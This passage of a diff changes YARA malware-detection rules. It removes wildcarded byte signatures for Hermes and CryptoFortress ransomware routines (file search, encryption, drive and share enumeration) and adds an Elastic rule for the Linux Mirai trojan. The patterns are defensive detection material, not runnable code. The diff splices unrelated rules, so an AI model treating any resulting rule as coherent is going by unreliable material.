-            ?? 89 45 ?? 83 65 ?? ?? C7 45 ?? ?? ?? ?? ?? 3B CA 75 ?? 8B 4D ?? 89 4D ?? C7 45 ??
-            ?? ?? ?? ?? 33 C9 51 51 50 56 89 4D ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ??
-            6A ?? 8D 45 ?? 50 FF 75 ?? 53 56 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 33 C9 C7
-        }
-		$hermes_encrypt_files_v2_p4 = {
-            45 ?? ?? ?? ?? ?? 51 8D 45 ?? 50 51 51 FF 75 ?? 51 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0
-            0F 84 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? 50 53 6A ?? FF 75 ?? 6A ?? FF 75 ?? FF 15 ?? ??
-            ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? FF 75 ?? 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F
-            84 ?? ?? ?? ?? 83 65 ?? ?? 8D 45 ?? 6A ?? 50 FF 75 ?? 53 56 FF 15 ?? ?? ?? ?? 85 C0
-            0F 84 ?? ?? ?? ?? 8B 4D ?? 8B 45 ?? 41 8B 55 ?? 05 ?? ?? ?? ?? 89 4D ?? 89 45 ?? 3B
-            CA 0F 86 ?? ?? ?? ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 8D 7D ?? 66 C7 45 ?? ?? ?? AB AB AB
-            AB 66 AB 33 C0 88 45 ?? 39 45 ?? 77 ?? 81 7D ?? ?? ?? ?? ?? 77 ?? 8D 45 ?? 50 8D 45
-            ?? 50 E8 ?? ?? ?? ?? 59 59 EB ?? 6A ?? 50 50 50 56 FF 15 ?? ?? ?? ?? 33 C0 8D 7D ??
-            AB 6A ?? AB 66 AB 8D 45 ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? 50
-            E8 ?? ?? ?? ?? 8D 45 ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? 50 E8
-            ?? ?? ?? ?? 8D 45 ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 FF 8D 45 ?? 57 50 8D
-            45 ?? 89 7D ?? 50 E8 ?? ?? ?? ?? 59 50 8D 45 ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ??
-            68 ?? ?? ?? ?? 57 53 FF 15 ?? ?? ?? ?? 6A ?? E9 ?? ?? ?? ?? 8D 45 ?? 50 57 57 6A
-        }
-		$hermes_encrypt_files_v2_p5 = {
-            FF 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 57 53 FF 15 ?? ?? ??
-            ?? 6A ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4
-            ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 57 6A ?? FF 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85
-            C0 75 ?? 68 ?? ?? ?? ?? 57 53 FF 15 ?? ?? ?? ?? 6A ?? E9 ?? ?? ?? ?? 57 8D 45 ?? 89
-            7D ?? 50 FF 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ??
-            ?? 57 53 FF 15 ?? ?? ?? ?? 6A ?? E9 ?? ?? ?? ?? 39 7D ?? 77 ?? 81 7D ?? ?? ?? ?? ??
-            76 ?? 6A ?? 57 0F 57 C0 66 0F 13 45 ?? FF 75 ?? FF 75 ?? 56 FF 15 ?? ?? ?? ?? 83 F8
-            ?? 75 ?? 68 ?? ?? ?? ?? 57 53 FF 15 ?? ?? ?? ?? 6A ?? EB ?? 57 8D 45 ?? 89 7D ?? 50
-            6A ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 57 53 FF
-            15 ?? ?? ?? ?? 6A ?? EB ?? 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 53 E8 ?? ?? ?? ??
-            83 C4 ?? 68 ?? ?? ?? ?? 57 53 FF 15 ?? ?? ?? ?? 6A ?? 5B EB ?? 68 ?? ?? ?? ?? 6A ??
-            53 FF 15 ?? ?? ?? ?? 6A ?? 5B 56 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B C3
-            EB ?? FF 75 ?? FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? EB ?? FF 75 ?? FF 15 ??
-            ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? EB ?? FF 75 ?? FF 15 ?? ?? ?? ?? 56 FF 15 ?? ??
-            ?? ?? 6A ?? 5F EB ?? 6A ?? 5F 56 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 6A ?? 53 FF 15 ?? ?? ?? ?? EB ?? 6A ?? E9 ?? ?? ?? ?? 6A ?? 5F 56 FF 15 ??
-            ?? ?? ?? 8B C7 5F 5E 5B 8B E5 5D C3
-        }
-		$hermes_find_files_v2_p1 = {
-            55 8B EC 81 EC ?? ?? ?? ?? 53 8B 5D ?? 8D 85 ?? ?? ?? ?? 56 57 50 68 ?? ?? ?? ?? 53
-            E8 ?? ?? ?? ?? 59 59 50 FF 15 ?? ?? ?? ?? 8B F8 68 ?? ?? ?? ?? 53 89 7D ?? E8 ?? ??
-            ?? ?? 50 E8 ?? ?? ?? ?? 53 8B F0 E8 ?? ?? ?? ?? 2B C6 33 C9 83 C4 ?? 66 89 0C 43 83
-            FF ?? 0F 84 ?? ?? ?? ?? 33 F6 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 83 F8 ?? 75 ??
-            8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 57
-            FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 83
-            F8 ?? 75 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 8D
-            85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 58 6A ?? 5F 6A
-            ?? 5A 6A ?? 66 89 45 ?? 58 6A ?? 59 6A ?? 66 89 45 ?? 58 6A ?? 66 89 45 ?? 58 6A ??
-            66 89 45 ?? 33 C0 89 45 ?? 58 6A ?? 66 89 45 ?? 58 6A ?? 66 89 45 ?? 58 6A ?? 66 89
-        }
-		$hermes_find_files_v2_p2 = {
-            45 ?? 58 6A ?? 66 89 45 ?? 58 6A ?? 66 89 45 ?? 33 C0 66 89 45 ?? 58 6A ?? 66 89 45
-            ?? 58 6A ?? 66 89 45 ?? 58 6A ?? 66 89 45 ?? 58 6A ?? 66 89 45 ?? 33 C0 66 89 55 ??
-            66 89 55 ?? 5A 6A ?? 66 89 45 ?? 58 6A ?? 66 89 85 ?? ?? ?? ?? 58 6A ?? 66 89 4D ??
-            66 89 4D ?? 66 89 8D ?? ?? ?? ?? 59 66 89 85 ?? ?? ?? ?? 6A ?? 58 66 89 85 ?? ?? ??
-            ?? 33 C0 66 89 7D ?? 66 89 BD ?? ?? ?? ?? 8D 7D ?? 89 75 ?? 66 89 75 ?? 66 89 55 ??
-            89 75 ?? 66 89 75 ?? 66 89 8D ?? ?? ?? ?? 66 89 8D ?? ?? ?? ?? 66 89 85 ?? ?? ?? ??
-            AB 6A ?? 66 89 4D ?? 66 89 55 ?? AB 66 89 55 ?? 89 75 ?? AB 66 AB 58 6A ?? 66 89 45
-            ?? 58 6A ?? 5F 6A ?? 66 89 45 ?? 58 6A ?? 66 89 45 ?? 58 6A ?? 66 89 45 ?? 58 6A ??
-            66 89 45 ?? 58 6A ?? 66 89 45 ?? 58 6A ?? 59 66 89 45 ?? 33 C0 66 89 45 ?? 6A ?? 58
-            66 89 85 ?? ?? ?? ?? 6A ?? 58 66 89 85 ?? ?? ?? ?? 6A ?? 58 66 89 85 ?? ?? ?? ?? 6A
-            ?? 58 66 89 85 ?? ?? ?? ?? 6A ?? 58 66 89 85 ?? ?? ?? ?? 33 C0 66 89 7D ?? 66 89 7D
-            ?? 8D BD ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 66 89 8D ?? ?? ?? ?? 66 89 8D
-        }
-		$hermes_find_files_v2_p3 = {
-            AB AB AB 66 AB 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D
-            45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 45 ?? 50 8D 85 ??
-            ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ??
-            50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ??
-            59 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85
-            C0 0F 84 ?? ?? ?? ?? 8B 7D ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 45
-            ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 45 ?? 50 8D 85 ?? ??
-            ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50
-            E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59
-            59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0
-        }
-		$hermes_find_files_v2_p4 = {
-            0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 8D 45 ?? 50 8D 85
-            ?? ?? ?? ?? 50 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 45
-            ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 50
-            8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
-            50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 50 8D
-            85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50
-            8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? EB ?? 8B 7D ?? F6 85 ?? ?? ??
-            ?? ?? 74 ?? 53 E8 ?? ?? ?? ?? 59 FF 75 ?? 8D 85 ?? ?? ?? ?? FF 75 ?? FF 75 ?? 50 53
-            E8 ?? ?? ?? ?? 59 59 50 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 8B F0 8D
-            85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 2B F0 83 C4 ?? 33 C0 66 89 44 73 ?? 33 F6 8D 85 ??
-            ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 5F 5E
-            5B 8B E5 5D C3
-        }
-		$hermes_enum_resources_v2 = {
-            55 8B EC 83 EC ?? 53 56 57 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 FF 75 ?? 33 DB C7 45 ??
-            ?? ?? ?? ?? 53 53 6A ?? 89 5D ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 75 ??
-            6A ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 8D
-            45 ?? 50 56 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 7E ?? 6A ?? 58 66
-            39 07 75 ?? 66 39 47 ?? 75 ?? 50 8D 47 ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 57 FF
-            75 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? F7 46 ?? ?? ??
-            ?? ?? 74 ?? FF 75 ?? 56 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 33 C0 5F 5E 5B 8B E5 5D C3
-            33 C0 40 EB
-        }
+		$a = { D2 0F B6 C3 C1 E0 10 0F B6 C9 C1 E2 18 09 C2 0F B6 44 24 40 C1 }
 
 	condition:
-		uint16(0)==0x5A4D and ((( all of ($hermes_find_files_v1_p*)) and ( all of ($hermes_encrypt_files_v1_p*))) or (( all of ($hermes_find_files_v2_p*)) and ( all of ($hermes_encrypt_files_v2_p*)))) and ( any of ($hermes_enum_resources_v*))
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Cryptofortress : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_Ab804Bb7 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects CryptoFortress ransomware."
-		author = "ReversingLabs"
-		id = "460289b1-f775-5e0b-8c44-4f6e5c92da60"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.CryptoFortress.yara#L1-L162"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "474893b63523de5ff9eb8a0c91b0677b99ce65056af7f5d02a73e43fa65453c9"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "ab804bb7-57ab-48db-85cc-a6d88de0c84a"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1482-L1500"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8f0cc764729498b4cb9c5446f1a84cde54e828e913dc78faf537004a7df21b20"
+		logic_hash = "cef2ffafe152332502fb0d72d014c81b90dc9ad4f4491f1b2f2f9c1f73cc7958"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "CryptoFortress"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "b9716aa7be1b0e4c966a25a40521114e33c21c7ec3c4468afc1bf8378dd11932"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$enum_drives = {
-            55 8B EC 83 C4 ?? 56 57 C7 45 ?? ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ??
-            ?? ?? ?? 8D 7D ?? B2 ?? B9 ?? ?? ?? ?? A9 ?? ?? ?? ?? 74 ?? 88 17 47 D1 E8 FE C2 49
-            75 ?? C6 07 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B F8 8D 75 ?? 8A 16 88 55 ?? 8D 45 ?? 50
-            FF 15 ?? ?? ?? ?? 8D 55 ?? C6 42 ?? ?? 83 F8 ?? 75 ?? 60 8D 45 ?? 50 8D 45 ?? 50 6A
-            ?? 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 8D 45 ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ??
-            50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 05 ?? ?? ?? ?? 61 46 4F 75 ?? A1 ?? ?? ?? ?? A3
-            ?? ?? ?? ?? A1 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 5F 5E C9 C3
-        }
-		$enum_shared_resources = {
-            55 8B EC 83 C4 ?? 8D 45 ?? 50 FF 75 ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 0B C0 0F
-            85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 FF 75 ?? 8D 45 ?? 50 FF 75 ?? FF 15
-            ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 3D ?? ?? ?? ?? 74 ?? 8B 4D ?? 51 8D 49 ?? 6B C9 ?? 8B
-            45 ?? 8D 0C 01 6A ?? 51 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ?? 75 ?? FF 75 ?? E8 ??
-            ?? ?? ?? 83 F8 ?? 76 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            0B C0 74 ?? FF 75 ?? E8 ?? ?? ?? ?? EB ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 59 49 75 ?? EB
-            ?? EB ?? E9 ?? ?? ?? ?? FF 75 ?? 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? FF
-            15 ?? ?? ?? ?? C9 C2
-        }
-		$find_files = {
-            55 8B EC 81 C4 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? FF 35
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85
-            ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ??
-            ?? 40 0F 84 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
-            83 E0 ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0
-            0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ??
-            ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15
-            ?? ?? ?? ?? C6 00 ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF
-            15 ?? ?? ?? ?? C6 00 ?? 2B 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B
-            8D ?? ?? ?? ?? C7 04 08 ?? ?? ?? ?? E8 ?? ?? ?? ?? 58 8B 8D ?? ?? ?? ?? C7 44 08 ??
-            ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0
-            0F 84 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF B5 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F
-            85 ?? ?? ?? ?? 8B 4D ?? 0B C9 75 ?? 6A ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 45 ??
-            8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF
-            15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 49 8B 1D ?? ?? ?? ?? 51 53
-            FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 59 EB ?? 53 E8 ?? ?? ?? ?? 03 D8
-            83 C3 ?? 59 E2 ?? A1 ?? ?? ?? ?? 85 C0 74 ?? 8B 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 0B
-            C9 75 ?? 3B D0 72 ?? EB ?? EB ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0B C0 75 ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF B5
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D
-            85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF B5
-            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? C9 C3
-        }
-		$encrypt_files = {
-            55 8B EC 83 C4 ?? 53 33 C0 89 45 ?? 89 45 ?? 89 45 ?? 89 45 ?? 89 45 ?? 89 45 ?? 89
-            45 ?? 89 45 ?? 89 45 ?? 89 45 ?? 89 45 ?? 89 45 ?? 89 45 ?? FF 35 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 89 45 ?? FF 75 ?? E8 ?? ?? ?? ?? 33 C0 50 50 6A ?? 50 6A ?? 68 ?? ?? ?? ??
-            FF 75 ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? E9 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 50 8D 45
-            ?? 50 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ??
-            83 7D ?? ?? 75 ?? 83 7D ?? ?? 73 ?? E9 ?? ?? ?? ?? 8B 55 ?? 8B 4D ?? BB ?? ?? ?? ??
-            B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? BB ?? ?? ?? ?? B8
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 0B D2 75 ?? 0B C9 75 ?? B9 ?? ?? ?? ?? 89 4D ?? 89 55 ??
-            B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 4D ?? 89 55 ?? BB ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 89 4D ?? 89 55 ?? 0B DB 75 ?? 0B C0 74 ?? 83 45 ?? ?? 83 55 ?? ?? FF 75 ??
-            FF 75 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 77 ?? 81 7D ?? ?? ??
-            ?? ?? 76 ?? B8 ?? ?? ?? ?? EB ?? 8B 45 ?? 6B C0 ?? 89 45 ?? 6A ?? 8D 45 ?? 50 FF 75
-            ?? FF 75 ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? E8 ?? ?? ?? ?? 0B C0 74 ?? E9 ?? ?? ?? ??
-            6A ?? 8D 45 ?? 50 FF 75 ?? FF 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 0B C0 75 ?? E9 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 FF 75 ?? 6A ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15
-            ?? ?? ?? ?? 0B C0 75 ?? E9 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? FF 75 ?? E8 ?? ??
-            ?? ?? 83 F8 ?? 75 ?? E8 ?? ?? ?? ?? 0B C0 74 ?? E9 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF
-            75 ?? FF 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 0B C0 75 ?? E9 ?? ?? ?? ?? DF 6D ?? DA 45
-            ?? DF 7D ?? C7 45 ?? ?? ?? ?? ?? DF 6D ?? DA 65 ?? DF 7D ?? C7 45 ?? ?? ?? ?? ?? DF
-            6D ?? DA 65 ?? DF 7D ?? 83 7D ?? ?? 75 ?? 83 7D ?? ?? 74 ?? E9 ?? ?? ?? ?? 8F 45 ??
-            8F 45 ?? 6A ?? 8D 45 ?? 50 FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? E8 ?? ??
-            ?? ?? 0B C0 74 ?? EB ?? 6A ?? 8D 45 ?? 50 6A ?? 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ??
-            ?? 0B C0 75 ?? EB ?? 6A ?? 8D 45 ?? 50 6A ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ??
-            ?? 0B C0 75 ?? EB ?? EB ?? 8D 45 ?? 50 8D 45 ?? 50 8D 45 ?? 50 FF 75 ?? FF 15 ?? ??
-            ?? ?? FF 75 ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? EB ?? 8D 45 ?? 50 8D 45 ?? 50 8D 45 ??
-            50 FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 5B C9 C2
-        }
-		$read_config_file = {
-            55 8B EC 83 C4 ?? [0-20] 6A ?? 68 ?? ?? ?? ?? 6A
-            ?? (E8 | FF 15) ?? ?? ?? ?? 0B C0 75 ?? 33 C0 C9
-            C3 89 45 ?? 50 6A ?? (E8 | FF 15) ?? ?? ?? ?? 0B
-            C0 75 04 33 C0 C9 C3 89 45 ?? FF 75 ?? 6A ??
-            (E8 | FF 15) ?? ?? ?? ?? 0B C0 75 04 33 C0 C9 C3
-            89 45 ?? 50 (E8 | FF 15) ?? ?? ?? ?? 0B C0 75 04
-            33 C0 C9 C3 89 45 ?? FF 75 ?? 6A ?? (E8 | FF 15)
-            ?? ?? ?? ?? 0B C0 75 04 33 C0 C9 C3 89 45 ?? 8B
-            D8 FF 75 ?? FF 75 ?? FF 75 ?? (E8 | FF 15) ?? ??
-            ?? ?? FF 75 ?? (E8 | FF 15) ?? ?? ?? ?? 8B 5D ??
-            6A ?? 53 68 ?? ?? ?? ?? (E8 | FF 15) ?? ?? ?? ??
-            83 C3 ?? 8B 45 ?? 83 (E8 | FF 15) ?? 50 53
-            (E8 | FF 15) ?? ?? ?? ?? 8A 03 A2 ?? ?? ?? ?? 83
-            C3 ?? 8A 03 A2 ?? ?? ?? ?? 83 C3
-        }
-		$file_type_loop = {
-            51 53 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8
-            ?? 75 03 59 EB ?? 53 E8 ?? ?? ?? ?? 03 D8 83 C3
-            ?? 59 E2 DC [20-40] FF B5 ?? ?? ?? ?? FF B5 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 0B C0 75 44 FF B5 ?? ?? ?? ?? FF B5 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF B5
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF
-            B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ??
-            ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0
-            0F 85
-        }
-		$encrypt_routine = {
